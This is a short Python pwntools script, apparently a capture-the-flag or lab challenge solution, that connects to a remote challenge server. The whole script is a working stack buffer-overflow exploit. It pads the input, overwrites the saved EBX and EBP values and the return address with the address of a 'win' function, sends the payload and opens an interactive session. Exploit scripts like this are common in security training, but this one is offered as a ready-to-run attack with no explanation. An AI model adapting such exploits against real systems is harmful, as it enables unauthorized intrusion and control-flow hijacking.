from pwn import * HOST = "mustard.stt.rnl.tecnico.ulisboa.pt" PORT = 25155 WIN_ADDR = p32(0x080487d9) EBX = p32(0x804a001) # Has NULL byte EBP = p32(0xffffcdd8) #conn = process("./check") conn = remote(HOST, PORT) pl = b"\x55"*0x24 + EBX + EBP + WIN_ADDR input() conn.send(pl) conn.interactive()